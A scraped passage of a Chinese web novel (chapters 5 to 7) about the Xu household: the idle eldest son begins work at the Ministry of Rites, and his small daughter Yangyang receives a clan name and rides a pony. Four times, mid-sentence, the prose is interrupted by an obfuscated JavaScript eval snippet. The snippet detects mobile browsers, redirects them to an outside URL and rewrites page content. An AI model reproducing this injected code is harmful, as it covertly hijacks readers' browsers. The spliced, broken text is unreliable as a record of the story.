书房二人写完一张纸时,门外小厮禀道:“老爷,天使来了!” 笔锋微顿,徐鉴实收起笔,将泱泱从膝上放下,替她整理稍乱的发揪,温和道:“管子有言,言辞信,动作庄,衣冠正,则臣下肃[2]。” 小泱泱似懂非懂的‘哦’了声,替他将皱了的袍子抚了抚,抬眼瞧他。 徐鉴实温笑,道:“你比你爹,聪慧更甚。” 这是夸她呢~ 泱泱笑得满脸骄傲,“是呢~” “明日起,祖父教授你读书,可好?”徐鉴实理了理她的小裙摆,和蔼问。 “哦~”小泱泱眼睛咻的睁圆啦! 天使宣过旨,笑呵呵的道了喜,接了徐家递来的喜银,也没多留。 堂屋里,几人叽叽喳喳,拿着那圣旨左瞧右瞧,又递给了徐鉴实。 徐鉴实接过,瞧了片刻,放下道:“从今起,你也有功名傍身了,我不求你振兴门楣,但愿你安分守己些,别惹祸端。” 徐九涣窝在椅子里,旁边摆着青色官袍,满脸难过,闻言,撇嘴道:“礼部员外郎能惹啥祸端?” 徐鉴实横他一眼,道:“若嫌这官小,你自个儿挣去。” 徐九涣幽幽叹气。 是官大官小的事儿吗? 是他要上!班!了! 要为五斗米折腰了啊呸! 家里人都在,晌午饭便也在堂屋用的。 吃过午饭,父女俩脚步沉沉的往自己院儿去歇晌。 绿稚备了瓜果,这时节用冰凉了些,但过过井水的瓜果,吃着倒是舒服的紧。 父女俩坐在阴凉廊下,两脸惆怅。 “泱泱啊,你爹要去受苦了。”徐九涣咬着颗葡萄叹气道。 “爹爹啊,泱泱要吃读书的苦啦。”泱泱啃着一瓣西瓜,叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134430|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气道。 父女俩对视一眼,又齐齐叹一声—— “唉……” . 落日熔金。 徐鉴实在桌案前枯坐半晌,重新铺了纸张,提袖研墨,片刻,提笔书曰: 族长尊鉴,别时良久,甚感为怀。 幸各事安适,足告雅怀。 今族中子弟有一事,烦请尊忧。 长子小九,得一女,名华缨,时年三岁,子欲修族谱,特修此书禀尊长,还望应允。 富贵非公愿,谨祝荣寿。 鉴实敬上。 秋里的清风浮动,字迹干透,徐鉴实将书信折起装好,唤来门外的小厮。 “速速送去驿站,不可耽搁。” “是。”小厮躬身接过,退了两步,折身出门去。 徐九涣几人被丫鬟喊来时,就见老爹正在池边喂鱼。 他家这宅子宽敞,池林修筑也颇废了些功夫,从前他娘便喜欢这园子,傍晚用过饭,少不得要转悠两圈儿,赏赏花啊,喂喂鱼啊,好不悠闲。 倒是难得见老头儿有这兴致,徐九涣心里嘀咕。 徐鉴实听得动静,喊了泱泱来,将手中鱼食分了她些,一老一少的颇怡然自得。 徐九涣没这宠爱,倚着假山岩壁站着,瞧着他们乐,倒也不催促。 徐士钦夫妻过来稍晚些,他们住着的西跨院离这园子稍远,多些脚程。 “爹,大哥。” “父亲,兄长。” 夫妻俩福身问安。 徐鉴实‘嗯’了声,将手中鱼食尽数洒了去,道:“去堂屋说话吧。” 这是有事要说。 徐士钦朝徐九涣望了眼。 徐九涣被瞧得莫名,“瞅我作甚?我可没这待遇。” 值得老头儿召唤全家来说事。 徐士钦白他一眼,懒得作搭理。 还给他委屈上了? 哪回他的事不是家里天大的事了? 堂屋,几扇雕花木门敞着。 外边儿,云蒸霞蔚漫天昏。 徐鉴实高坐,他抬手,唤来泱泱。 “跪下。” 泱泱脑袋歪了歪,似有不解的瞧他咋就翻脸啦? 啪嗒,跪下了,仰着小脑袋望着他。 底下坐着的徐九涣,眉梢轻动了下,惫懒靠在椅子里的身子微微坐正了些。 堂内静谧,似能瞧见些浮光跃金。 几双眼睛都安静的看着徐鉴实。 “你之小辈,族中从‘华’字,乐者,德之华也。贤者歌曰:沧浪之水清兮,可以濯吾缨;沧浪之水浊兮,可以濯吾足[3]。今祖父替你取名‘华缨’二字,惟愿你不受忧扰,世安宁,可好?” 泱泱想了想,抿唇道:“我叫泱泱~” “嗯。”徐鉴实颔首。 “我是华缨~” “嗯。” 小泱泱唇角翘起,“我喜欢!” 徐九涣甚少教她规矩,便是与人问安,都是她瞧着旁人偷摸学到的。 小姑娘小小一团,跪在堂中,手心伏地,以额相触:“华缨多谢祖父赐名。” 徐九涣目光微顿,良久,侧首望向门外,遥望东向。 5. 第 5 章 翌日,天蒙蒙亮。 徐九涣在被窝里挣扎再三,坐起了身。 他要点卯…… 他要上工…… 他…… 门外丫鬟只听咚的一声,再无动静。 几人面面相觑。 “绿稚姐姐,可要唤主子起身?”小丫鬟低声问。 绿稚哪里知晓? 她家主子从前也不曾当过官儿,点过卯啊。 “西跨院二爷寅时便起了……”另个小丫鬟低声说。 绿稚深吸口气,硬着头皮上前,叩门唤道:“主子,该起了……” “再过一刻钟。” 门内声音气若游丝的传来。 赖床一刻,徐九涣挣扎着从床上爬起。 丫鬟们进来,伺候梳洗,又将熏过冷香的官袍奉来,等他换上。 “去将家里的点心糕饼给我带着些……” “……吩咐采买的人,寻寻秋柿子,要皮薄肉多,汁水足的,若是有,多买几个给泱泱。” “不必喊她起床,被吵醒可是要闹脾气的,她若是想出府玩儿,绿稚……” “诶!主子!” “泱泱若是想去街上,你便带她去,再带上两个护卫一道……” “是。” “还有啥……”徐九涣打了个哈欠,眼底潋滟泛着水色,“罢了,想起来再说吧。” 手上动作不停,嘴上也忙着絮絮叨叨。 鬓发抿好,戴上官帽,那厢徐士钦已然差小厮来催了。 “他等我做甚?”徐九涣耷拉着眼皮,满脸不高兴。 桌上丫鬟已布好早膳,他端起那碗晾凉的桂圆红枣粥,几口吃完,接过绿稚递来的油纸包,阔步出了门去。 鸡飞狗跳的一早,总算是消停。 近前伺候的丫鬟们也松了口气。 马车上,徐士钦等得不耐,正欲又差人去催,总算是等得那爷出门来,掀帘上车。 “做甚瞧我?”徐九涣理直气壮,“你是不认得去衙门的路?” “二十四司衙门挨着,你当我稀罕的等你!” 徐士钦气死了! 他入仕以来,还从未如今日这般晚过点卯! 马车悠悠晃起来。 徐九涣拆开油纸包,大口咬着肉包子瞅他,“那老头儿咋的不等我?” 徐士钦:! “你还想让爹等你?!” 简直倒反天罡! 徐九涣实话实说:“不想。” 老头儿不让他在车上吃包子。 徐士钦白他一眼,忍受着车内的肉包子香。 憋了片刻,他头扭回来,恼道:“你就不能吃完再出门?” “若非你着人来催,我自是要吃完的。”徐九涣将最后一口包子吃完,油纸折好。 这还是他的过了? 徐士钦瞪他一眼,懒怠再多说。 这厮不想认的错儿,总是旁人之过。 马车又晃悠了半刻,而后停下。 也未耽搁太久,他们住着的九曲坊本就在皇城西北角,不费功夫。 “二爷……大爷,到了。”小厮禀道。 话音落下,车帘打起,一青一红的两道身影先后踩着脚凳下来。 承天门外,几位官员先是与徐士钦颔首,唤了声‘小徐大人’,目光移去他身侧。 “这是我兄长,诸位大人从前少见,日后同朝为官,如有不周,还望诸位大人海涵。”徐士钦道。 几人对视一眼,心照不宣的笑笑,“原来是太傅家的大公子,前儿才听闻徐大爷回来,今儿倒是在这儿见着了,日后朝堂相见……” 徐士钦眉头微皱。 “朝堂?”徐九涣轻嗤了声,“诸位也不是如我般第一日登宝殿了吧,竟是忘了五品之下的官员不必参朝的规矩?” 说着,他似是轻叹,“懈怠了啊。” 几人眼皮跳了下,正欲开口,徐九涣已经晃着那枚腰牌与门前侍卫瞧,悠悠哉哉的入内去了。 徐士钦与几人微颔首,面色瞧着不大好,也阔步入内去。 几人讪讪的对视一眼,皆没说话。 徐士钦几步追上徐九涣,将他拉至廊下,瞧了眼左右空无一人的廊道,低声道:“礼部如今未设尚书大人,主事官乃是副手左侍郎,左侍郎周大人,笑着如弥勒佛,瞧着万事不放心上,但在他手下做事,定要当心,几个郎中都因大事小情的,外放的外放,贬官的贬官。” 他说着稍顿,又压了压声道:“爹让你别生事,便是说当点心,别在那周侍郎手下吃暗亏。” 徐九涣似是听得浑不在意,待他说完,问了句:“那姓周的,背后有人?” 徐士钦卡了下,咬牙道:“雍王。” “哦,”徐九涣万事随心的应了声,又晃悠着他的牌子往前走,“还挺……倒霉啊。” 徐九涣对朝堂之事知之甚少,但也知晓自家老头儿跟哪些人不对付,这雍王便是之一。 成禧帝子嗣颇丰,膝下皇子公主有十五,元后至离世,膝下无所出,宫中贵妃掌凤印,那位便是雍王生母。 说起来,雍王还是成禧帝皇长子,自古来,无嫡便立长,何况雍王在朝中风评甚好,生母又受宠,依着成禧帝如今近古稀,早该立太子了。 欸~ 就是不立。 雍王明示暗示徐鉴实多次,多到徐九涣都听闻了些,可是自家老头儿不听话,这不,惹得雍王恼了,朝堂之上绊子也没少使。 徐九涣觉得,自个儿就是只小绵羊,啪叽,掉进了狼窝里…… 好玩儿。 “……你走反了。”身后徐士钦无语道。 徐九涣脚步一顿,折返回来,又朝另一边晃悠去,边叮嘱:“傍晚下值赶紧着,等你一刻不到,我就自己回家喽。” 徐士钦:…… “我今早等了你两刻半!!!” “哦~” “……” 先帝怠政,七日一朝,成禧帝继位后,改了五日一朝。 今日无朝,官员都在衙署点卯。 徐九涣到时,各处已然坐着人,瞧见他进来,一颗颗脑袋抬起,房中鸦雀无声。 徐九涣宫宴蹭的多,自是认得徐士钦说的那姓周的。 可他目光径直略过那张胖脸,在房中扫了一圈儿,扬声问:“敢问主事的是哪位大人?” 一双双视线都齐刷刷的瞧向一人。 徐九涣也顺着众人目光瞧去,便见那位‘弥勒佛’起了身,殷勤道:“我道是今儿这檐下喜鹊叫呢,原是徐太傅家的公子来了,鄙人姓周,不才,是这房中担事的,见过徐大爷。” “周大人何苦折煞我?”徐九涣嘴上说,身子却是连侧都没侧,受了他这一礼。 也不说回礼,站得笔直挺拔。 周茌眼皮动了动,笑意不达眼底,“徐员外郎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134431|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌椅已安置好,您瞧瞧,可有甚不满意的?” “左不过是一套座椅罢了,”徐九涣倚着桌边站着,慢条斯理的当着众人面儿,从手里拎着的包袱里,掏出了个丝缎软垫来,这才纡尊降贵的落座,眼皮稍抬,瞧着跟前站着的周茌,问:“周大人还有事?” “倒是我忘了,没给您置办软垫。”周茌笑说。 “倒也不必,旁人的东西,我也用不惯。”徐九涣悠悠说着,又将食盒里的糕点饼子摆在桌上,悠闲模样哪里是上工的,怕不是当这是自家内室,还有丫鬟伺候茶水,捶背捏腿。 周茌表情顿了顿,挪着步子走开了。 房中同僚瞧着徐九涣的神色有些一言难尽,互相对视几眼,皆垂首忙手上的事去了。 徐九涣将众人神色尽收眼底,捻了块枣花糕悠哉的吃。 这清闲衙门,雍王放的人还不少,难怪能挤兑走不少人呢,倒是不知有何值当的。 . 泱泱醒来时,天光大亮。 绿稚几人生怕她找不到爹爹哭闹,房中备了好多点心吃食,却是只见小姑娘抱着薄被,盘着小腿儿坐在床上醒神。 片刻,泱泱打了个哈欠,朝她张手,“抱~” 奶声奶气的一句,绿稚心都要化了,将软乎乎的小姐抱起,伺候穿衣梳洗。 “爹爹去吃苦啦?”泱泱望着外面天色,问道。 绿稚颔首,又不禁憋笑。 旁人家子弟入仕,那可是大喜事,少不得燃放爆竹,宴请宾客,她们主子倒好,将当官儿当作吃苦,还教大小姐,若是给老爷知晓,怕是又要挨训。 “唉……爹爹好惨呐~”泱泱双手托着小脸儿叹了声,瞧着铜镜中自己的模样,丫鬟姐姐在替她梳发。 她小手不闲着,翻箱倒柜的看自个儿妆匣里的发绳小头花,挑出一对儿嫩绿的来,“扎这个~” “好。”小丫鬟抿唇莞尔。 徐九涣回来时大张旗鼓,欠账的事在府中自是瞒不过,院中丫鬟也听过几句。 可瞧着她们小姐摆满桌案的妆匣,不是各种漂亮的小手镯手钏,便是色彩艳丽的发绳小花儿,更别提廊下两只大樟木箱子,不是蜀锦的小裙子,就是鹿皮小靴子,还有各种小杂耍,又哪里是穷困潦倒的欠账模样? 只这话,不该她们做丫鬟的多嘴。 便是好奇,也按下不问。 用过早饭,泱泱百无聊赖的院中晃了晃秋千架,又跑去喂小鱼,再跑回堂屋,爬上椅子去擦拭爹爹摆放着的大刀。 刀鞘有些旧色了,可主人爱护的紧,那半鲛鱼鳞皮暗泽光亮。 “小姐!” 绿稚慢两步进来,瞧见她的动作,顿吓了一跳。 泱泱扭头瞧她,模样不解,似是在问‘咋的了’。 “小姐,这刀具碰不得,仔细伤了手。”绿稚轻声哄道。 她在主子身边时日久,自是知晓这是从前孟家小姐的刀,虽是不知怎么到了主子手里,但瞧着主子珍爱,谁敢去碰? 这若是磕了碰了的,怕是惹得主子生气。 可这刀,从前她常擦拭的啊。 不过,瞧着绿稚姐姐紧张模样,泱泱小小叹气,也没执拗。 屋里屋外跑进跑出的两三遍,泱泱仰头道:“我想骑马。” 绿稚:! 祖宗啊!!! 泱泱瞅她惊恐脸:唉。 爹爹不在的第一日,想爹爹~ 6. 第 6 章 傍晚下值宫铃刚摇响,礼部众人便见那窗前嗖的窜出一道残影去,吃喝一日的贵公子没了影儿。 短暂的静了片刻。 周茌鄙夷的眼神收回时,众人眼观鼻鼻观心的垂首。 徐九涣说是一刻便是一刻,徐士钦再晚两步,怕是得在众目睽睽之下追车跑! 这个混账! 徐士钦上了车,气得瞪他。 偏这厮自不觉得理亏,打起帘子瞧街道小摊,碰着什么小零嘴儿,便喊车夫勒马,让人替他去买。 不足两刻钟的路,硬生生被他磨得红日降落,在巷子口遇着了徐鉴实的马车。 “老头儿平日也这般早回府?”徐九涣诧异道。 “喊爹!”徐士钦没好气的斜楞他一眼,“平日多是宫门下钥前两刻回府。” 徐九涣放下帘子,翘起的脚抖了抖,不无得意道:“老头儿还是担忧我啊。” 徐士钦翻了记白眼,耳根子被他自作多情得发疼。 “今日周侍郎可难为你了?” “他难为得着我?”徐九涣不屑道。 马蹄声哒哒,忽的听见外面稚语童声。 “欸……” 徐九涣复又掀帘,就见自己闺女抱着半溜儿青瓜朝老头儿跑去了。 “这儿呢!”徐九涣摇臂喊,不等马车停稳,便跳了下来,几步过去,拿起闺女手中的瓜就啃,很是自觉啦。 泱泱吃得肚子饱饱,也不计较,只瞧着架着车架的马有些眼馋,撒娇道:“爹爹~我想骑马~” “今儿是不成了,”徐九涣连忙摇头,一副被摧残蹂躏的可怜模样,“你爹被欺负得够呛。” 晚两步下车的徐士钦听着这话,险些没忍住又给他一记白眼。 倒是徐鉴实没见着他方才大放厥词,回首神色微紧。 “啊……他们揍你啦?”小泱泱仰着脑袋眼巴巴的问。 “比揍我还惨。”徐九涣煞有介事道。 徐鉴实眉头皱起。 他有心问两句,可从未当过慈父,嘴唇嗫喏两下,竟是憋不出口来。 “他们待我冷遇,爱答不理的,整日都没人与我说话,午饭都没吃饱。”徐九涣捂着肚子又说。 “好惨呐~” 不给吃饭饭最可恶啦! 父女俩同仇敌忾,恨不能直捣饭锅! 这话若是被礼部的同僚听着,怕是跳进护城河都洗不干净的冤! 是谁嫌弃礼部的碗筷陈旧,又是谁嫌弃饭菜不佳,还是谁嫌弃他们用过饭不漱口,口气不清新,脑袋恨不得吊去门外的梅子树! 可是泱泱信了呀~ 鸡腿鹅腿的都给爹爹夹! “多吃些!长高高!!!”泱泱捏拳愤慨道。 徐九涣左手一只鸭,右手一只鹅,幸福晕啦! “诶呦,闺女真好~” 泱泱重重点头! 她好! 徐士钦眼睛疼,晚上回去房中,便与宋喜道:“将阿敏从她外祖家接回来吧。” 宋喜被丫鬟伺候着泡脚,闻言忍不住笑话他:“闺女才去小住了半月,你就想成这模样?” 中秋前,宋喜外祖母大寿,将曾外孙女留着说是小住一月,稀罕稀罕。 宋喜知道,这是外祖母催促着她与二爷再赶紧生个。 徐家书香门第,徐太傅后院干净,只有夫人一位女眷,哪怕是夫人故去,也没续弦,没收房,可到底是没有不许纳妾的规矩。 宋喜这胎生了个闺女,婆家公爹二爷瞧着都欢喜,而她娘家则是催她养好身子,趁着二爷院中只有她一个,得赶紧生个哥儿才是要紧的。 宋喜打发丫鬟出去,将门关上。 她低声试探问:“二爷……我、我……” 话磕磕巴巴也未说出口,却是先羞红了脸。 徐士钦拿开她捂着脸的手,问:“怎么?” 宋喜长相小家碧玉,此时灯下红着脸嗔他的模样,勾得人心痒。 夫妻二人房事不算很勤,毕竟闺女还小,免不得闹人些。 “我想要个哥儿……”宋喜羞红着脸道。 徐士钦摩挲着她的腕子,问:“家里催你了?” “就……上次给外祖母贺寿时回去,听了些……”宋喜道。 她母亲去的早,家里父亲很快续弦,继母带来个姑娘…… 其实,若非徐家重诺,当日嫁来的也未必是她宋喜。 徐士钦身子探过来些,薄唇亲她,“不必急,会有的……” 片刻传来动静,外面守着的丫鬟走远了些。 . 月上柳梢,小泱泱脚步沉沉的从祖父书房回来,身边跟着伺候的绿稚。 徐九涣坐在檐下擦发,幸灾乐祸的‘哟’了声,“这是咋的啦?” 小泱泱重重的叹口气,蹭过来坐在爹爹怀里,一副累瘫模样,“祖父教我背千字文……” “那不简单?” “就是太简单啦,无聊呐~”小泱泱幽幽叹道。 “可祖父说,要脚踏实地,切不可急功近利,做人应当亦如此~” 徐九涣眼皮狠狠一跳,捂她嘴:“别说别说!脑袋疼!” 父女俩对视一眼,皆叹声气。 月色皎洁,星色点点。 “爹爹,我想骑马……” “爹爹,我给阿娘擦大刀啦……” “爹爹……” 清晨雾蒙蒙。 徐九涣穿戴齐整要出门时,旁边窗子忽的被打开了,一颗睡眼惺忪的脑袋探出来,操心叮嘱道:“爹爹~要多多吃饭!” “知道了,睡你的去。” 咻~ 小脑袋收了回去。 檐下丫鬟们忍不住低笑。 许是今日云彩不够明亮,小泱泱多睡了一刻钟,醒来时,小脑袋睡得乱糟糟的。 绿稚替她套上雪白的足袋,捧来两套裙衫问:“小姐今日想穿哪件?” 小泱泱勉强睁开眼,幽幽打个哈欠,指着那套鹅黄裙衫,“还要穿小珍珠鞋鞋~” “好。” 宋喜打发丫鬟来时,泱泱刚用过早饭。 “二夫人今日去接二小姐回来,差奴婢来问问,小姐可要同去?” “要出门?”泱泱啃着脆柿子问。 丫鬟笑着点头。 “要的!”小泱泱将柿子蒂扔掉,跑去洗手。 绿稚与那丫鬟道:“烦请回禀夫人,我们替小姐收拾妥当便过去。” 宋喜的外祖家武定伯府,离九曲坊有段路。 从前祖上在沙场上以血挣来的战功,封了伯爵,家族没落,三代始降,是以,宋喜的母亲被家里嫁给了寒门士子,榜上进士,可宋喜亲爹终究是才能有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134432|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 限,莫说是帮衬娘家,便是他自个儿外放便是几十年,如今想要调任回京,也瞧不见头儿。 外祖母总觉愧对母亲,是以,对着宋喜这个外孙女时,格外偏疼些。 “泱泱,咱们到啦。”宋喜先下了马车,转身来抱小泱泱。 小姑娘粉雕玉琢,模样可爱,抱在怀里软乎乎的,一双眼睛好奇的左右瞧。 宋喜此次回来,未及递帖子,门前的护卫瞧见她,一人连忙进去禀报。 两人行至中门前时,遇见了老夫人派来迎接的嬷嬷。 “外祖母身体可还好?”宋喜问。 “老夫人见着表小姐,便哪儿都好了。”嬷嬷笑道。 院子大多相似,泱泱瞧过两眼便兴致寥寥,忽的听见远处规律的马蹄声响,小耳朵顿竖了起来。 嬷嬷瞧见她神色,道:“那处是练武场,五爷带着几个公子在跑马。” 泱泱揪着宋喜的衣袖,眼巴巴的问:“婶娘~我也想跑马~” 宋喜神色微愣,“泱泱会骑马?” “会呢!”小泱泱自信拍胸脯。 二人先去老夫人处请安,宋喜的几位舅母也在。 “华缨见过姚曾外祖母,见过几位舅外祖母。” “快起来,”姚老夫人和蔼道,“好孩子,快来给曾外祖母瞧瞧。” 华缨看向宋喜,见她点头,才迈着步子上前。 “瞧这标志模样,定是好福气的孩子。” 屋中皆是女眷,一说起话儿来,便不免耽搁些时辰。 泱泱也不急,乖乖坐着,看着榻上似被吵醒的小妹妹。 瞧她瘪嘴要哭,泱泱伸手牵她小手,腕子上的宝石手钏露了出来,亮晶晶的,惹得小孩儿睁着大眼睛瞧。 “喜欢这个?”泱泱晃晃手腕。 榻上的小阿敏目光随着她的手钏动。 泱泱咧嘴笑,摘下手钏戴在她手上,“大了些……等你长大就好啦~” 小阿敏也咧嘴笑,露出只冒尖尖的小乳牙,扑腾着小手小脚,瞧着很是欢喜。 两个小孩儿嘀嘀咕咕,玩儿得不亦乐乎。 在姚三夫人正要差人,去喊练武场上的皮猴儿回来见人时,宋喜开口道:“正巧,我也想去瞧瞧。” 从前住在家里的表小姐,如今是徐家的二夫人,姚家几位舅母不免奉承殷勤些,连忙道好。 “妹妹去不?”泱泱问。 宋喜笑着点点头,“今日不大晒,风也轻,可带着一道去。” 小孩子娇嫩些,平日里生怕磕着碰着,晒着冷着,但是宋喜瞧着泱泱,倒是觉得不必那般仔细。 姚大夫人原还想说,练武场尘土大,还是不带小孩子为宜,但听着这话,又闭上了嘴。 姚老夫人没跟着一道去,趁着她们出门前,留宋喜晌午用饭。 宋喜笑着应了声,被几位舅母簇拥着出了门。 堂屋瞬间安静下来。 姚老夫人的贴身嬷嬷道:“老夫人何必忧心,徐家大房也就有个小姑娘。” 姚老夫人摇摇头,道:“你瞧那姑娘模样像谁?” “不是……徐家大爷?”嬷嬷神色稍愣道。 姚老夫人叹了声气,半晌,道:“与孟家夫人神似。” 嬷嬷倒吸口凉气,“那、那……” “一家子兄弟,只怕是伤着囡囡。” 7. 第 7 章 武定伯府,崇尚习武,练武场堪比旁人家的花园,占地颇广。 两排木架上陈列着各种兵器,后面是马厩,一匹匹毛色发亮的马正踏步瞧热闹。 只见那场中,七八个高低不一的正扎马步,有的竭力忍耐,忍了一脑门的汗,也有偷摸儿偷懒的,还有干嚎着亮嗓子的,可谓热闹。 姚老五烦死他们几个了,若非是老爹吩咐的,他哪里躲懒不好,在这儿瞧几个皮猴儿扎马步? 正训侄子呢,便见几位嫂嫂过来了,身后还有丫鬟跟着,簇簇拥拥的一群人,连带着这尘土飞扬的练武场都变得鲜亮了。 “嫂嫂们怎的过来了?”姚老五阔步过来,经过演武架时,将脱在一旁的外袍扯了,迅速套上,“表姐回来了。” “你表姐想来瞧瞧你们练得如何了。”姚四夫人与宋喜年岁相当,与姚老五也差不得几岁,说话带着些促狭。 姚老五咧着口白牙笑道:“险些给他们训哭了。” 说着,扭头眉眼凶狠道:“谁偷懒儿!扎好!” “少逞威风,”姚三夫人嗔他,“仔细将小姑娘吓着。” 姚老五早便瞧见了宋喜腿边站着的小姑娘,生得玉雪可爱,一双大眼睛滴溜溜的打量着他家练武场,亮晶晶的。 “这是谁家小孩儿?”姚老五蹲身,故意问。 泱泱也不怯,瞧着他道:“你是嬷嬷说的五爷?” “是我。” 泱泱眼珠子转了转,问:“我答了你,你能让我骑马不?” 姚老五听笑了,“你还想骑马?几岁了?” 泱泱不想跟他说话了! 她听出来了! 这人小瞧她! “想是原先大哥便带她跑过马,方才去外祖母院子时,泱泱便听见你这边儿的动静了。”宋喜说。 姚老五听出来了,瞧着被惹恼的小姑娘跑去绕着几个皮猴儿转圈圈,低声与宋喜道:“表姐,我哪儿敢带她骑啊,这若是有个好歹,徐大爷不得将我生吞活剥了去?” “哪儿就那般夸张了。”宋喜忍俊不禁,倒也没多劝。 她们在这儿站着说话,那边小泱泱也跟人嘀嘀咕咕。 片刻,姚老五一扭头,就见扎马步的几人早就散了去,还未出声呵斥,瞥见那方动静时,眼珠子险些没掉下来。 几个皮猴儿从马厩里牵出一匹褐中一点白的矮脚马! 那小姑娘穿着小裙子,被几个人托着小绣鞋,踩上马镫,竟是坐了上去! 姚老五:! 完犊子! 徐九涣要来砸他了!!! 不等他惊魂未定的出声,就见那小姑娘一手缰绳,一手马鞭—— “驾!” 姚老五在这秋里冒了一后背的汗,当即几步过去,牵出旁边的马,翻身上马追去! 这一动静,几个女眷皆吓得不轻。 倒是宋喜喃喃道:“泱泱骑得很好啊……” 可不是! 小姑娘裙裾飞扬,鹅黄的发绳飘在半空,听着身后动静,眉眼弯弯的道:“五叔叔!比赛呀~” 姚老五原被她吓得要死,但瞧见她这副神采飞扬的小模样,才发觉她驾轻就熟,挥鞭子夹马腹,一瞧就是有人仔细教过的。 他后背热汗顿散了去,道:“骑慢些,给我仔细瞧瞧你骑术如何。” “唉……”泱泱小小叹气,忧愁道:“不信我。” 还是小孩儿好呀,一包栗子糖便信她啦! 姚老五不敢离远,始终护在她身侧。 跑过两圈,小姑娘微微生汗,眼睛乌黑透亮,瞧着比那几个小子都像话许多,勒停马,不等姚老五来抱她,那几个小子便一窝蜂的跑过来,举着手托着人下了马。 姚二夫人神色变了变。 他们家如今虽是比不得徐家,但是她儿子也是自幼疼宠着长大的,怎能像是下人畜生似的被个姑娘家踩着? 宋喜没发觉她的脸色,抱着闺女过去,用帕子替泱泱擦了擦汗,道:“泱泱下次不可这般,吓着婶娘了。” 泱泱小脸儿红扑扑的,乖觉认错:“泱泱错啦~” 话刚说完,小泱泱便被几个小孩儿拉去了旁边,叽叽喳喳的声音闹人的紧。 “七哥哥的马果真温驯!” “放心啦,你们家这般好,我还会来的!” “栗子糖也会买!” “买两包!” …… . 晌午时分,礼部刚放饭,便见徐太傅自阁中过来了。 诸人赶忙起身见礼,“太傅大人。” “不必拘礼,诸位请便,”徐鉴实温声道,“我与犬子说两句话。” “徐员外郎在公廨。”周茌殷勤道。 “多谢周大人。”徐鉴实稍颔首,目光扫过桌上饭菜,出了门去。 众人惴惴,有人低声道:“要不……等等?” 周茌神色瞧着不大好,众人皆垂眉低首。 正是用晌午饭时,院子幽静。 徐鉴实过来,便嗅得股子饭香,门敞着,他上前两步朝内望了眼,目光落在窗前,那悠悠哉哉吃着佳肴的人身上。 父子俩四目相对,四目皆傻。 徐九涣:? 谁能告诉他,老头儿咋的过来了??? 徐鉴实反应过来,目光顿时沉了。 徐九涣:“额……要不,一同用?” 徐鉴实恨不得抓过戒尺揍他! 礼部的饭菜虽是不比内阁,但也不至于难以入口,甚至比许多寻常百姓家的饭菜要好上许多! 就知是他嘴挑! 可他委实没想,这混账竟是能让酒楼的饭菜送来! 徐九涣装委屈,“他们口水唾沫飞,我怎能下得了嘴……” 徐鉴实深吸口气,闭了闭眼。 怪他…… 怪他将他养得这般毛病多! “只吃一次,明日去饭堂用,再敢将酒楼的饭菜带进来,我就动家法!”徐鉴实斥道。 “哦。” 徐九涣躲得了初一,心里满意,“会仙楼的黄金鸡,东坡肉,蟹酿橙,一起吃啊?” “哼!”徐鉴实拂袖而去。 难怪花银子如流水,有多少够他吃喝的? . 在武定侯府用过午膳,宋喜与外祖母说了些体己话,酉时前,带着闺女和泱泱坐马车回府了。 下了马车,进府时,泱泱问:“婶娘~你何时还回去呀?” 宋喜忍不住笑,“泱泱喜欢那儿?” “喜欢!” “好,下回婶娘回去时,还带着你。” “好哦~” 徐九涣傍晚下值回来,就见那小财迷撅着屁股趴在榻上数压岁钱。 听见动静,泱泱抬起脸,兴奋道:“爹爹!带我去买马!” 徐九涣:“啥?” “婶娘家好好哦~有大马小马,不给泱泱骑大马,只骑了小马~” “爹爹~泱泱也要买大马!” “这些银子够不?” 徐九涣摸着下颌状若思考,片刻,将她的银锭子皆揣在了身上,然后……带她来到了后院马厩。 “哇!” “咱家也有欸!” “银子还我!” 徐九涣拔腿就跑! . 傍晚用饭时,几人便发觉,这父女俩好似闹了别扭,小泱泱气鼓鼓的,朝着亲爹哼了一声又一声。 那亲爹皮糙肉厚,丝毫不为所动。 “怎么了?” 徐鉴实问。 “爹爹骗我银子!” “泱泱所有的压岁钱!” “哼!” “……” 几双谴责、嫌弃的目光皆扫向徐九涣。 徐九涣眼皮轻撩,道:“瞧我做甚?我这是在教她……” 徐士钦:“兵不厌诈?” 徐九涣唇角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 